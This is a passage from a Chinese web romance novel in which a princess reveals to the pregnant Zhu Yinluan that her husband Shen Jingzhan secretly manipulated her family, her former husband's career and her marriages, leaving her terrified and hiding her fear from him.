祝吟鸾沉默下来,思忖着怎么接奉安公主的话。 她在想,奉安公主告诉她这些,除却跟沈景湛有过节不和之外,会不会也想要从她身上得到些什么东西,亦或者利用她去做些什么? 现在的人不都是无利不起早的么?即便是奉安公主说了许多,祝吟鸾也不完全相信,对方一定还对她有所隐瞒。 否则她何必平白无故费这么大力气。 重要的是,开罪了沈景湛。 从奉安公主的言行当中得知,她还是害怕和畏惧沈景湛的,对沈景湛也诸多忌惮。 背着沈景湛告诉她这些,就不怕沈景湛查到她的头上吗? 如果不怕查到她的头上,想必也不会如此隐晦和避忌见面了吧。 “公主是想要跟我交换什么物件东西么?”利益往来,才是 最稳妥的。 又一次,祝吟鸾出乎了她的意料。 奉安公主忍不住拍手,“少夫人当真是个爽快人,你不仅仅是为人不错,做事还很通透。”拎得清楚。 祝吟鸾却没心情调笑,她此刻的心绪无比沉重,“只是我身上并无长物,恐怕无法与公主做等利益的交换。” “有少夫人这句话,本宫纵然真的想要从少夫人身上得到些什么,即便你此刻没有,本宫也是安心的。” 奉安公主还是没有说她想要从她的身上交换,亦或者得到些什么。 她问,“有关祝家和卫家,少夫人都知道些什么?” 祝吟鸾抬眼看向她,“我知道的消息多是京城当中流传的消息。” “少夫人自嫁入沈家之后,便再也没有跟祝家的人有往来了么?” 祝吟鸾摇头,“没有。” 当初被卫家休弃,已经闹得相当难堪了。 她也不想再跟祝家和卫家的人有任何的往来。 只是 这件事情似乎没有表面那么简单。 “看来少夫人就是什么都不知道了?” 祝吟鸾皱眉,“我只是隐约意识到有些地方不太对劲。” 譬如卫家的瓦解,还有祝家长姐要嫁人的消息。 说到祝沉檀,这些时日也不知道怎么样了。 祝吟鸾问奉安公主,她要嫁给郭老王爷做续弦的事情是真的吗? “怎么不是真的,郭王府的聘礼都送到祝家去了,祝家人要面子,不想叫人觉得这是一场卖.女求荣的姻缘,给的嫁妆倒是丰厚,只是时日挑得非常着急,帖子也没送几家。” 尤其是祝家那边的亲戚族长,多数人都不知道。 提到这位年过半百毫无建树,且无礼义廉耻的皇叔,奉安公主的脸上也是忍不住露出厌恶。 祝吟鸾不知道怎么问,她在犹豫着。 祝家和卫家的事情,她只察觉到方种月不对劲,还有卫家与她亲近,唯一被保全的卫明烟,除此之外 卫如琢的身子骨,当初奉安公主也提过,说消息走漏得太快了,就仿佛有人在背后推波助澜。 这个人又是谁? 当时奉安公主含沙射影的人又是沈景湛么? 见祝吟鸾的神色已经越发绷不住,奉安公主也没有耽误太久,她告诉祝吟鸾,她在梨花园里有个喜欢的小生。 因为对方卖艺不卖身,加上家世不太好,孤苦无依,到底没有过分强求,往日里去只给钱让他弹曲子听听就罢了,渐渐的也有了些朋友之间的情谊。 可在她被禁足的那段时日里,这位小生最后还是落到了她那皇叔的手上,现如今都没有出得来。 “他跟我说,你长姐的画像是被人有意呈到郭老王爷手中的。” “什么?”长姐的姻缘竟然也有内情。 祝吟鸾脸色一白。 “是是沈景湛做的?”她已经被吓得改口了。 奉安公主挑眉,“对。” “皇叔喜好京城没人,府上有两个侍妾跟皇叔说,祝家长女国色天香,虽然和离过,但看着跟京城当中未出阁的姑娘没有什么区别。” “她二人日常轮流给我皇叔吹枕头风,夸耀祝沉檀的美貌,怂恿皇叔娶她过门做续弦,所以才有了祝家与郭王府的亲事。” “郭王府提亲的聘礼送上祝家门后,这两名侍妾纷纷病了,得宫内太医周旋,如今已然脱离了郭王府,太后宫里的小宫女亲眼所见,沈世子身边的人与前往郭王府给那两名侍妾看诊的太医有往来,只是没有听清说了些什么。” 祝吟鸾的心沉入了谷底,她觉得恐慌。 沈景湛的手居然伸得这么长了。 可他既然要处置祝家,当初为何要帮祝鸣生提携官位呢? 这是说不通的。 他的目的又是什么,真的是因为她么? 想不明白,索性就问了奉安公主。 对方蹙眉苦思道,“沈世子帮祝家人提携官位的事情,我也不得而知他为何要这么做,还需要查探。” 这件事情既然问不出来了,祝吟鸾问还有没有别的? “祝家那边沈世子倒是没有过分.插.足,但是卫家这边就有很多他的手笔了。” 祝吟鸾心中紧张,不仅仅是手蜷捏起来,就连神色之上的慌乱都展露无遗。 奉安公主看着她楚楚可怜的倔强样子,只觉得娇态惹人。 自问见过的美人也不少了,还是在京城这样的地界,可这祝家女还真是招得住人时常看的,瞧得久了,不仅不觉得厌烦,反而觉得漂亮精致。 若非在沈蔻玉那边也听到了一些消息,奉安公主或许真的觉得他见色起意,觊觎朝廷臣妻了。 “什么手笔。”祝吟鸾攥紧了裙摆。 “少夫人还撑得住吗?” 奉安公主这时候想起来,祝吟鸾是身怀有孕的,告诉她这么多事情,看她备受震惊,脸色都隐隐发白,万一出事,她可承担不起。 祝吟鸾深吸一口气,她抬眼,与奉安公主对视,“能。” 奉安公主眼神示意旁边的人,去给祝吟鸾端一盏安神汤来。 很快,安神汤内很快就端上来了,与此同时,宫娥还说了一声外面的情况,倒是一切如常,只是祝吟鸾的贴身小丫鬟明芽回来了,在外面等着呢。 祝吟鸾道了一声多谢,低头慢慢喝汤。 奉安公主等她缓和了一会,见她的脸色还可以,便接着道,“卫家当年获罪,卫大人被外放,卫家子弟多受到打压。” “这件事情也是他做的么?”祝吟鸾对沈景湛在朝堂之上的事情并不算很了解。 此时此刻的她,脑中思绪被这些消息冲得嗡嗡的,已经有些难以分辨奉安公主说的话了。 她觉得沈景湛无比陌生,陌生到了一种恐怖的程度。 他居然瞒着她在背后做了那么多事情。 奉安公主说得对,倘若不是她,这些事情她不会知晓,一辈子都会蒙在鼓里。 “卫家出事的时候,少夫人还没有嫁过去,所以沈世子没有掺和。” 奉安公主把旁边的糕点往她面前推,让她吃一些,好歹压压惊。 祝吟鸾拿一块,抿了一小口,却没有吃。 她实在没有胃口,甚至有些许想吐。 前三月她还没有多大的孕期反应,现如今却难受得不行。 她分不清,到底是心里的恶心,还是身上的恶心,总是非常难受,幸而有安神汤压制着。 “当初姚太尉推崇梵昌新.政的事情,不知少夫人可知晓?” 祝吟鸾颔首,“我知道。”当初就是因为这件事情让她留意到姚太尉,还有沈景湛。 “推崇梵昌,表面上是姚太尉,实则是沈世子的主张,其中有一条律例谏议,贬臣后嗣再准录用一则,便是最主要的。” “当初我父皇和皇祖母都不明白,他为何提到这个,且为了打压御史台和谏院的朝臣们做了很大的功夫,得罪了一大批人,都还是要提议进言。” “后来我明白了。”奉安公 主看着祝吟鸾,“原来是醉翁之意不在酒,是为了给少夫人的夫家提携官位,重新入仕晋升。” “这件事情过去很久了,再往前查,难以找到蛛丝马迹,但是少夫人自己想想,您前夫当时是个什么职位,怎么就那么顺利进入了翰林院呢?” 奉安公主跟她说,“翰林院可是清闲肥差,多少人挤破脑袋都进不去,卫家当时没有势力,只是靠祝家,根本难以敌打同期晋选的对手。” 说起来这件事情,她当初也有疑问,父亲一向不看重她,怎么会那么倾尽全力去帮卫如琢入翰林呢? 那时候根本无从查起,她又养在后宅,哪里知道些什么啊,即便是觉得不对劲,也不得不压下心里的想法。 原来,不是祝家的功劳,而是沈景湛在其中推波助澜。 “然后呢?” 祝吟鸾捏着的糕点都快要被她给掐碎了,她的后颈窜起一股凉意,尽量压抑着不叫自己抖。 “然后卫家儿郎连连晋升,骆家停滞不前。” “骆家长子骆暄的远房表妹也不是无缘无故来到京城的,应家获罪流放,她一个女流之辈,如何能够周转回京城,又那么顺利跟骆暄搭上线啊?” “有什么证据吗?”即便是心中已经相信,祝吟鸾还是要知道有没有确凿的证据。 “城门进出人员的归档之上,给骆暄表妹应如芬做保,归办京城落脚户册的人是沈世子身边派去的。” 祝吟鸾问,“这也是公主在户部档案的人所说的吗?” 奉安公主说是,“归档本宫看过,但无法带出来给少夫人查阅了,若是你不信,日后可以去我的公主府,我让他带出来给你看看,上面可是戳着官印的。” 祝吟鸾的心中又是一个暴击,此刻已经不知道说些什么为好了。 “公主的意思是他让人办了骆家的事情,然后促使卫如琢晋升?” “是。”奉安颔首,“卫家子能在短短几年爬那么高的位置,若是没有沈世子在背后斡旋,怎么可能呢。” “少夫人若要说是祝家助力的功劳,你怎么不想想,祝家都能够将卫家子提携到这么高的位置,为何不提携提携自己儿子?” 祝吟鸾又说不出来话了。 是。 “没有祝家提携,只靠卫家,更没有可能了,卫家的真要这么厉害,卫家老大人至于那么多年回不了京城?” 奉安公主让祝吟鸾自己好生想想。 “能在朝廷当中如此游刃有余,走官员的操纵,除却三省之中的人物,旁人可做不到。” 祝吟鸾感觉她过往所知的一切全都崩塌了,尤其是她心中温润如玉的夫郎形象崩塌得无比厉害,此刻只剩下一片黑洞,深潭。 她甚至都不敢上前探知,眼前真相究竟是什么,害怕一脚踩下去,就会落入万丈深渊,万劫不复。 简直难以想象,沈景湛居然跟她所知的一切根本就不同,何止是不同,简直就是天翻地覆。 要让她怎么接受,原来一切都是假象。 她再嫁的如意郎君并非表面那样的温润如玉,清朗无害。 卫家门第攀升是他做的,长姐和离亦与他有关,就连她和他的每一次相遇都并非偶然。 这铺天盖地的一张密网,处心积虑所有的一切,究竟是为何而来? 沈景湛算计着祝家,卫家,骆家,最后得到了什么? 她思来想去,长姐与骆家和离,又重新跟卫如琢旧情复燃,只有她被扫地出门。 沈景湛在这场博弈当中得到了什么,得到了他得到了她。 所以,是为了抢夺她而来的吗? 沈景湛算计着所有的一切,是为了抢夺她? 目前,事实摆在眼前,饶是祝吟鸾不想要去承认,却也不得不认清。 “这件事情的确荒谬到可怕,但少夫人沈世子所为,本宫还是希望你知道的。” 祝吟鸾手里的糕点已经彻底被她捏碎了。 糕点本就做得细腻,此刻从她的指缝被挤出,掉到了桌上和地上,祝吟鸾却沉浸在她自己的思绪当中毫无察觉,足以见她此刻的内心有多么的煎熬了。 只怕天人.交战,没有结果。 奉安公主从旁边的小宫娥手中拿了帕子,递过去给祝吟鸾,又叫人端着热水来。 热水端上来了,祝吟鸾此刻心中却还天地翻覆。 奉安公主等了许久,热水已经冷了,她方才回神,松开手里的糕点沫子,清洗她的手掌,奉安公主刚说换成热水,她的手却已经伸入了凉水当中,清洗的动作缓慢且木讷。 这样的事情不管是谁,碰到了都难以接受。 所以,祝吟鸾的反应,奉安公主也能够理解。 毕竟,沈景湛对她的占有欲和掌控欲都到了一种可怕,甚至令人恐怖的程度。 “除此之外还有什么吗?”祝吟鸾又问。 这一次她的声音很轻柔。 奉安公主道,“卫家子难以生养的事情,应当也跟沈大人脱不了干系。” 卫如琢没有办法生养,不是天生的么? 居然是沈景湛做的? 祝吟鸾心神一震,脊背之上的凉意猛然窜起,她整个人都有些想要打颤。 这才是沈景湛的真面目? 令人不寒而栗,胆颤心惊。 卫家的晋升是他做的,那卫家的陨落以及祝家被查,也是他的手笔了吧? “对了,还有一件事情,不知少夫人身在沈家有没有听到什么风声呢?”奉安公主问。 “什么?”祝吟鸾心烦意乱,此刻整个人的声音都是干巴巴的。 时辰已经不早了,奉安公主长话短说,“沈家二房夫人曾经找过本宫,是为着她家的儿子沈嘉显外派的事情,这件事情也是沈世子做的。” 正因为沈景湛在其中斡旋,所以她即便是公主,也帮不上什么忙,主要是沈景湛这个人不好开罪。 当时她让二房的夫人来找祝吟鸾,但是没有想到,这么久过去了,祝吟鸾居然还不知情,想来沈家二房害怕,不敢来找她。 对于二房夫人这个被外派的儿子,祝吟鸾有些印象,她在沈老太太和沈夫人那边也听到了消息,甚至还帮着沈夫人问过沈景湛,在中间传过话。 依稀猜出沈嘉显外派的消息跟沈景湛有关系,但具体的内情,她根本就不清楚。 所以到底是怎么回事啊? 奉安公主见她一头雾水,跟祝吟鸾解释道,“说起来沈嘉显被外派,少夫人你才是因头呢。” “我?”祝吟鸾本就沉顿的思绪越发混乱了。 “是啊,二房夫人告诉我,沈嘉显之所以被沈世子外派去贫瘠之地做官,是因为他偷偷在查少夫人的事情。” “我的事情?”祝吟鸾奇怪。 她问起沈嘉显是何时被外派的? 奉安公主说了一个确切的时日,祝吟鸾一顿,那时候她和卫如琢还没有和离呢。 等等 沈嘉显去查的这个时日,不正是她去除病斋拿药的时日么? 又是这么巧。 所以,沈嘉显又是知道了什么才会被外派?就连沈蔻玉成亲都不能够回来。 “少夫人也不必觉得愧疚,二房的沈嘉显可是个管不住的野性子,出去历练几年也好,磨磨性子对沈家二房是有好处的,否则我父皇也不会批调令批得那么快了。” 祝吟鸾心中五味杂陈,“到底是因为——”心中翻覆得太厉害。 她实在是难受得不行,话没说完,俯身就吐了。 整个人奋力抓着桌沿,连着呕了好几下,不单单是干呕,就连晨起吃的东西都吐出来了。 奉安公主第一反应是起身躲避,可见祝吟鸾如此难受,连忙叫人去请太医,祝吟鸾咳嗽着把人叫住,“…没事,不必” 今日是大喜的日子,请太医并不吉利。 奉安公主看着她的脸色实在不好,担心她出事,还是让宫娥去了,但吩咐了人请得隐蔽一些,不要惊动了。 祝吟鸾连连吐得厉害。 奉安公主看着她的样子都忍不住心惊。 开始有些后悔,是不是不应该说? 若是祝家女有个什么闪失,只怕是 祝吟鸾的脸色很不好,她整个人失魂落魄,想要竭力保持心绪情绪,却怎么都控制不住。 因为,她觉得太可怕了。 这种怕和恐慌,她从未经历过,此时此刻始终窜沿在她的后背和脸上,她觉得浑身上下凉飕飕的。 奉安公主把祝吟鸾送回她的院子,虽然走偏廊,绕后花厅,但还是惊动了人——姣惠。 祝吟鸾尚且有意识,余光扫见到姣惠往外走,心想,她必然是去给沈景湛报信了吧? 太医倒是来得很快,给她把了脉,也说是害喜,还说她心绪是起伏过大,需得平心静气,若是长此以往,必定损心神,害胎儿。 “给开些药方吧?”奉安公主问。 太医写了一个方子,说是带回太医院抓药再拿回来。 刚交代完事情,没有想到祝吟鸾居然又开始吐了。 她这次吐得更厉害,酸水一波接着一波,整个人伏在床榻边沿,脸色苍白无比,神色差得难以入眼去看。 明芽在旁边担忧得快哭了,可今日是喜宴,万万不能哭,只能噎了下去。 奉安公主见状,越是觉得后悔,恐怕不该说的,至少不能在这时候说。 她也没有想到,祝吟鸾的胎象明明已经稳住了,可还是变成这样。 太医连忙取了针线,给她扎针。 明芽给祝吟鸾擦手净口。 这边吐得如此厉害,老妈妈过去通气,沈夫人那边已经得到信了。 一听祝吟鸾出事,顾不上客人,沈夫人连忙过来了,后面还跟着不少贵眷妇人,其中包括孟家母女。 “到底怎么回事啊?怎么吐成这样了?”不是说害喜吗,怎么过了头三月还要扎针。 见到奉安公主,沈夫人直觉与她有关系,可又不好问。 祝吟鸾脸色太差了,状态也很差,沈夫人坐到旁边,满心焦急盯着她的神色,刚碰到祝吟鸾的手,只觉得冰冷异常。 “天哪,到底出什么事情了?”奉安公主身边的宫娥很有眼力见。 主动解释道祝吟鸾也不知为何在沈蔻玉的院子里忽而吐了,整个人面色难看,恐怕是人太多,堵了气,她不叫请太医,还是奉安公主叫人去找的,又把她给送了回来。 沈夫人想说祝吟鸾做什么要去沈蔻玉的院子,人不是都送出去了么?她去那边凑什么热闹啊,一直在院子里养胎,不是什么都好么? 但见她如此,又什么都不敢说了,怕叫她心中郁闷,雪上加霜。 “世子呢?看他忙完没有?快些叫他回来。”沈夫人驱使旁边的小丫鬟去找人。 听到世子两个字,祝吟鸾猛然攥紧旁边的被褥。 第77章 第77章“鸾儿知道了些什么?”…… 一想到那些事情,想到他的真面目,祝吟鸾只觉得整个人都在抖。 他回来之后是不是又要跟她演戏了? 说到演戏,一开始她还觉得她跟他都在演戏,没有想到,沈景湛的面具之下,还是一副令人难以察觉的面具。 撕开了这层面具,就是他的真面目了吗,他会不会还有别的面具? 倘若不是奉安公主“多管闲事”,那她就算是察觉了猫腻,这辈子也即将蒙在鼓里。 因为沈景湛权势滔天,这场局面又是从几年前就开始布了,连她身边很信任的姣惠,都是他派来的,这还有什么好说的? 一想到之前她对姣惠的托付和信任,祝吟鸾只觉得心口好像有火气在烧,她是震惊的,也是愤怒的,但这些种种情绪汇集到了一处,她便开始觉得很可怕,十分的惶恐,后怕。 她仿佛从来都不认识沈景湛,他到底在图谋些什么?若说是她这个人,有什么好图谋的?她不理解。 小丫鬟连忙应声道,“已经派人去了,想必很快就会回来。” “怎么过了三月还在害喜?”旁边跟过来的孟夫人凑上前来问道。 祝吟鸾听到沈景湛回来的消息,心里乱糟糟想着,又是忍不住呕吐,太医扎的针都被她抗拒推出了几分。 太医连忙叫旁边的小太监去拿静心丸来,重新拔了所有的银针,让小丫鬟先给祝吟鸾擦拭唇边的秽物。 太医还没有开口,奉安公主已经看穿了他的意图,径直道,“人多气味杂,就让沈夫人和太医在此处,众位夫人小姐还是先随本宫出去吧。” 奉安公主开口了,众人也不好多说,只能往外出去。 孟夫人宽慰了沈夫人几句,这才走开。 人走了之后,沈夫人听从太医的话把窗桕打开,在内室燃了安神香。 小丫鬟已经帮祝吟鸾唇边擦拭干净了,甚至还亲自给她擦拭了手脚。 见她面色惨白,魂不守舍,沈夫人真是一句话都不敢多说。 等太医给祝吟鸾扎针,见她总算是不吐了。 这才给旁边的老妈妈使了一个眼神,让她去盘问跟着祝吟鸾的小丫鬟。 人走之后,又吃了静心丸,重新扎上针,祝吟鸾的脸才渐渐有那么一些血色。 只是方才吐得实在太狠了,此时此刻,人还有些呆滞,靠躺着,一句话都没说。 老妈妈进来凑到沈夫人耳边低语。 听完之后,沈夫人压低声音,“果真没有听到什么?” 那老妈妈摇头,“没有。” 沈夫人蹙眉,所以到底发生了什么事情?难不成这祝氏是平白无故就这么害喜? 太医收针之后,祝吟鸾闻着安神香,吃了静心丸,就这么睡了过去。 害怕在这里吵醒了祝吟鸾,沈夫人带着太医往外走,问他祝吟鸾的病因是怎么了? 太医刚要说话,外面传来脚步声,抬头看去,是沈景湛,大步流星走了进来,浑身俱是冷意,还没说话,已经叫人下意识惧怕起来了。 奉安公主摸摸鼻头,退到人群当中去。 沈夫人和太医立马站起来。 沈景湛问太医,祝吟鸾如何了? 太医连忙道,“少夫人是急气攻心引发的不适呕吐,下官已经给她吃了静心丸,又扎了针,如今让她多歇歇,宽慰宽慰,仔细养着,饮食上也要精细,最好不要叫她不快。” “急气攻心?”沈夫人疑惑,“今日喜宴,晨起的时候她过正厅去,人都还好好的,这是怎么了?” 沈景湛的目光从太医的身上投向不远处的外室人群当中。 奉安公主瞬间感受到了对方森冷透骨的视线,落到了她这边。 饶是心中紧张,甚至有些害怕,奉安公主的面上依然露出富有深意的笑容。 她并没有回避沈景湛的视线。 适才亲眼见祝吟鸾吐成那个样子,即便眼下 太医说已经是稳住了,让她多多休息,沈夫人还是没有办法放心。 “请求太医多多留几日吧。”沈夫人说是担心祝吟鸾的身子骨再出些什么差错。 太医没有推拒,就此留下了。 今日家里还有客人,沈夫人没有停留太久,出去外面待客,这里留下沈景湛看着,说是有事,就派人来叫一声。 沈景湛坐在祝吟鸾的床榻边沿,看着她即便是有些许血色,依然是无比苍白的小脸,“” 这一觉,祝吟鸾睡得很不安稳。 她做梦了,梦到了过往,很多很繁杂的画面,之所以知道是做梦,是因为梦里的画面重复出现过很多次。 她在卫家做过的梦,沈家做过的梦。 梦境画面不断在她的脑海当中飞来闪去,有交.缠在一起的身影,还有对话,说话的声音,低沉的声音,还有喜悦的,各种繁乱交杂。 所有的东西全都汇了总,她整个人都睡得不安稳,直到耳畔传来温柔的喊声。 鸾儿鸾儿 是谁,是谁在叫她,忽远忽近,忽而清楚忽而模糊。 究竟是谁?声音既让她觉得熟悉,又让她觉得无比陌生。 “鸾儿” 声音越来越近了,祝吟鸾猛然睁开眼睛。 她急速喘着气,看到一张凑近的俊脸,祝吟鸾,“” 缓和不过一瞬间,她渐渐分清梦境与现实,又想到了最先得知的一些事情,猛然觉得身侧的男人十分恐怖。 避开了他拿着帕子要为她擦拭的手。 沈景湛蹙眉看着她激烈的反应,眼睫微动,但很快将他眼底的情绪掩去,“鸾儿,这是怎么了?” 他的声音一如既往的温和,若是之前祝吟鸾还觉得柔软,心动,现如今她只觉得恐惧,那股后怕又开始从她的脊背窜上来了。 “我、我没事。” 她的唇瓣嗫嚅动着,躲避着沈景湛的靠近,整个人俯身钻到被褥里,连她的脑袋和发梢都不敢展露,就算是缩在柔软的被褥里面,祝吟鸾想到那些事情都忍不住发抖。 但是她也很清楚自己不能够抖,若是抖了,沈景湛会察觉出异常,索性就抿咬着唇瓣不发声,整个人越发的不知所措。 她还没有想好要怎么面对沈景湛。 现如今又是在沈家,她几乎去无可去,能怎么办? 和离么? 她的肚子里,还有沈景湛的骨肉,经得起和离么? 说到这个孩子,也是他的谋算吧? 当初她绞尽脑汁,询问太医,试探他的意思,却被他给倒打一耙弹压了回来,还让她产生了愧疚的心思。 沈景湛真是厉害啊。 他明明就知道她能生,甚至容易受孕,说到这件事情,祝吟鸾想起很早之前,沈景湛在床榻之上的那些“反常”。 他时常会攥着她的腰身。 入得特别深就不说了,甚至还在她的腰身后面垫着软枕,即便是结束了,也许久都不肯出来。 包括他时常所用的那些姿势,根本就不是她的错觉,不是误打误撞,就是他刻意的。 他的目的就是要让她怀孕。 所以她才会在嫁入沈家没有多久的情况之下,身怀有孕。 沈景湛的心机城府居然深到了这种地步,无孔不入,可怕至极。 他算计着一切,她几乎所有都被他给算计了。 现如今沈景湛究竟还是想要什么? 祝吟鸾越是深想,整个人心绪起伏得越发厉害。 和离? 现如今,若是真的跟沈景湛和离了,离开了沈家,她有容身之处吗? 若是沈景湛,沈家人高抬贵手放过她,那她离开了沈家,卫家和祝家的人会放过她吗? 外面都是“豺狼虎豹”,之前被逼得走投无路的窘境她还没有忘记,这时候离开沈家,恐怕会过得比之前都还要差。 说到她之前住的雅音小筑,是姣惠去置办的,说不定也是沈景湛的手笔。 祝吟鸾耸吸着肩膀。 沈景湛垂眸瞧着她的一动一作,思索着她的反常。 究竟是因为做了噩梦,还是因为害怕他? 之前她也有过回避,却不像是眼下的反应那么大,都已经彻底醒过来了,居然还钻到了被褥当中。 不像是躲避她的那个梦境,更像是躲避着他。 沈景湛看了一会,悄声往外走。 此时此刻已经是深夜了,他到书房以后,盘问身边的人。 下属皱眉道,“并没有查出什么端倪,奉安公主那边已经着人去问了,但是也没有查到什么,只听说今日少夫人在前厅时,有两名贵女在背后说了一些难听的话。” “当时正在沈家的喜宴之上,少夫人没有声张也没多说什么,但奉安公主的人出手,将两人赶了出去,在抄手游廊之下,被少夫人撞见了,后来少夫人去玉小姐的房中,见到了奉安公主,跟她说了几句话,应当是为了这件事情。” “对了,那会少夫人身子骨不太舒服,奉安公主给她熬了一盏安神汤,少夫人吃了一会还是觉得身子骨不舒坦,径直吐了出来,随后奉安公主便着人去请太医了。” “安神汤?”沈景湛重复这三个字。 下属道,“安神汤没有喝完,属下已经着人拿给太医瞧了,太医说安神汤一切正常。” “您要亲自看看么?”沈景湛也懂一些药理,下属很是清楚。 沈景湛让人拿上来,他看了,的确没有什么问题,下属又把这些东西给端下去。 沈景湛又问,“今日她跟奉安公主待了多久?” “差不离有半个时辰了。”下属道。 俊美的男人脸上浮现出似笑非笑的冷意,“半个时辰?” “是。”下属道,“当时少夫人身边没有带旁的小丫鬟,奉安公主的宫娥又是贴身的,因而探听不到什么消息。” 须臾之后,沈景湛吩咐,“去查查奉安前些时都做了些什么。” “把时年放得长一些,不要拘束在眼前的几个月,尤其是她的那些面首,都看看在什么地方任职。” “大人远见,属下这就去办。” 人走了之后,沈景湛沉默静坐了许久,书房没有点燃太多的烛火,他清隽的侧影隐在昏暗当中,越发显得深邃而迷人,但也很危险。 祝吟鸾很久没有听到声响,就当她以为沈景湛出去了,正打算出来透透气的时候,耳畔传来一声幽微的叹息。 是他的声音,即便是隔着被褥她都能够知道。 因为沈景湛的声音实在是磁沉好听,极少有人能够比拟。 “鸾儿要这样闷头躲到何时?” 他这话问得很是奇怪,祝吟鸾在心里思忖斟酌,沈景湛是不是已经知道什么了? 但若是知道了,他的声音还会如此温和么? 思来想去,她迅速在心里下了决定,此时此刻还不宜跟沈景湛撕开一切闹开了。 因为沈景湛在暗,她在明。 现如今,知道了一切,她也算是在暗,他在明了。 且先看看,他还谋划些什么。 下定决心之后,祝吟鸾深呼吸一口气,然后慢吞吞钻出了被褥。 她感受到了男人投过来的视线,一句话都不敢说。 整个人略微拘束,还有些战战兢兢。 沈景湛坐到她身侧,刚要碰到,发觉她下意识往里面挪了一些。 他看着她的动作。 祝吟鸾也意识到了自己的回避,她磕磕绊绊跟沈景湛解释道,“我梦魇了,久久难以回神,所以才才会这样。” 沈景湛瞧着她的侧脸好一会。 祝吟鸾也感受到了他的注视,也不清楚是不是因为知道了这些事情,她总觉得沈景湛没有之前那么好糊弄了。 他是不是在她歇息睡过去的时日里也得知了些什么? 祝吟鸾忍不住在想。 倘若沈景湛没有知道些什么,又怎么会这样看着她? 他的“反常”是因为她的回避,还是因为他也知道了什么? “奉、奉安公主呢?” 沈景湛刚要开口,听到她这句话顿了一下,很快,他眼底的暗色恢复了正常。 “鸾儿怎么一醒过来就问奉安公主,我竟然不知道鸾儿何时跟奉安公主如此相熟了?” 沈景湛话是这么说,语调却十分温和。 他扶着她坐起身来。 这一次,祝吟鸾没有抗拒沈景湛,但她动作之间的僵硬,沈景湛哪里会感受不到。 她在无形当中抗拒他。 今日晨起在正厅的时候都还好,她还会脸红躲避他的触碰,娇怯低着头,小声催促着他去忙碌。 不过是分别了一个下午而已,回来就变成了这样。 若真是做噩梦,梦魇了,怎么说得通呢? 沈景湛心里有数却没有戳破。 听到祝吟鸾醒了,外面早就被备办好了各样的细粥,还有配粥的小菜。 小几已经搬了上 来,祝吟鸾暂时不能够起身,只能够倚靠着。 沈景湛喂她,她道,“我自己来就好。” 又是疏离的抗拒。 沈景湛看着她,“鸾儿就算是要逞强,也得注意身子吧?待你好起来,再跟为夫倔强好不好?” 男人温声细语,若是放在之前,祝吟鸾一定会觉得心中温暖,此刻却觉得身上很冷,她害怕。 一直到现在,醒过来许久了,她都不敢抬头去看沈景湛。 她无法面对沈景湛的那张脸。 他的俊逸出众,放眼整个京城,压根就没有人能够超过。 越是俊美,越是让人觉得迷幻。 从前她就是这么被欺骗的,被欺瞒的。 所以,她怎么都不敢看沈景湛了。 既然他都这么说了,祝吟鸾也不好再多说什么了,只能乖乖坐着让沈景湛喂。 闻到男人身上飘过来的清冽气息,祝吟鸾下意识屏息,都不敢多闻一口。 她真的害怕。 糕点粥饼都是费心做的,味道相当不错,祝吟鸾就算是没有胃口,但今日吐得实在厉害,也多吃了几口。 说是多吃几口,实际上也没有吃多少。 沈景湛哄着她多吃一些,祝吟鸾却也还是摇头。 怕适得其反她又吐出来,沈景湛也没有强求,只让她若是饿了,随时告诉他。 祝吟鸾净了口,这才留意到外面的天色已经很晚了。 想必沈景湛也要上床榻了。 眼下让她跟沈景湛睡到一处,她实在是难以入眠。 她在沈景湛起身之后才将目光投到外面去,看到男人颀长挺括的身影在屏风之后闪动。 即便只是一个背影,也还是能够看得出来,沈景湛宽肩窄腰。 此刻她看着他,却生不出任何旖旎的心思,即便是无意之间联想到那些事情,她此刻也不脸红了,只觉得害怕。 思来想去,祝吟鸾甚至在想,说不定圆房的事情,他也在其中布局了。 他会不会还用了什么手段,让她对他十分上瘾,喜欢被他亲吻,喜欢和他行床笫之欢。 这一切,根本就说不清楚。 越是往里面深究,她越是觉得恐怖。 所以沈景湛净手回来之后,祝吟鸾跟他说,“我今日身子骨实在不舒坦,夫君能不能上别的地方睡?” 她不敢看着沈景湛,垂眸瞧着他的腰。 上面悬挂着她给他做的玉佩络子。 两人的情好蜜意就在昨日,可她觉得恍若隔世,好像是一场虚幻的梦。 何止是过往,就连之前那一些,她都觉得像是一场梦。 也的确是一场梦,若不是一场梦,怎么会发生这么多事? 若不是一场梦,这些谋划是人能够做出来的吗? 甚至是从几年前就开始布局了。 那时候,她怎么会想到是沈景湛,两人之间从无往来,她根本就不认识沈景湛。 若是没有奉安公主拿出来的那一些铁证,就算是有人跟她说,这一切都是沈景湛做的,她都不敢相信。 “鸾儿梦魇,我更应该在旁边照顾,怎么能走?”他坐下。 原本是想要坐到床榻的边沿,但是他还没有坐下呢,祝吟鸾已经开始躲闪了。 沈景湛瞧着她的面颊,虽然隐藏得很好,压根就看不见她眼底的神色,但是他还是能够瞧得出来她无形的抵触在蔓延。 更何况,他了解她,无比了解。 一点点蛛丝马迹,都没有办法能够逃脱他的眼睛。 但此刻她不愿意说,那就不逼她。 或许,她知道了什么。 又或者,什么都知道了。 男人的眼底一片幽静,垂眸掩落,什么都瞧不见,此刻看着他,也只见到他的温润清朗。 即便是如此的无害,祝吟鸾也不敢多看一眼。 她始终垂着眼睛。 沈景湛坐到了圆凳之上,两人之间留有一定的距离。 祝吟鸾跟他解释道,“今日就是有些许累了,我梦里实在害怕,所以想要自己睡,夫君能不能依依我?” 她找不到什么好的借口在,只能祈求沈景湛。 男人倒是没有过分纠缠,他温声说好,“鸾儿都这般求我了,我怎么能够不依呢?” 说话间,男人伸手过来。 祝吟鸾的余光扫到了,她的神色没有什么变化,内侧的手却下意识攥紧了被褥。 她以为天衣无缝没有人瞧见。 可沈景湛的身量实在很高,即便是坐下来了,他也能够瞧见她的动作。 “” 沈景湛收回试探的手,最终还是没有碰到她,笑着道,“那我就在侧室,鸾儿若是有事,叫一声就好了。” 沈景湛的庭院很大,整个内还有一间侧室。 也算是隔壁了,沈景湛的确可以睡隔壁。 祝吟鸾颔首说好,“夫君快去吧,如今天色已经晚了,你今日也累了,你去歇息,这边有小丫鬟守着。” 催促他走,倒是抬眼瞧了他一下。 只是方才对上男人深邃的俊脸,祝吟鸾的神色开始闪烁躲避了。 对视不过一瞬,她实在是无法在沈景湛的注视之下装得平安无事,现如今她的心里都还是乱糟糟的,根本没有办法正视他。 她的害怕没有消散,恐慌一直都是在蔓延的。 尤其是靠近沈景湛,看着沈景湛的时候,她觉得他深不可测到了极点。 索性直接移开了,什么都不敢再说。 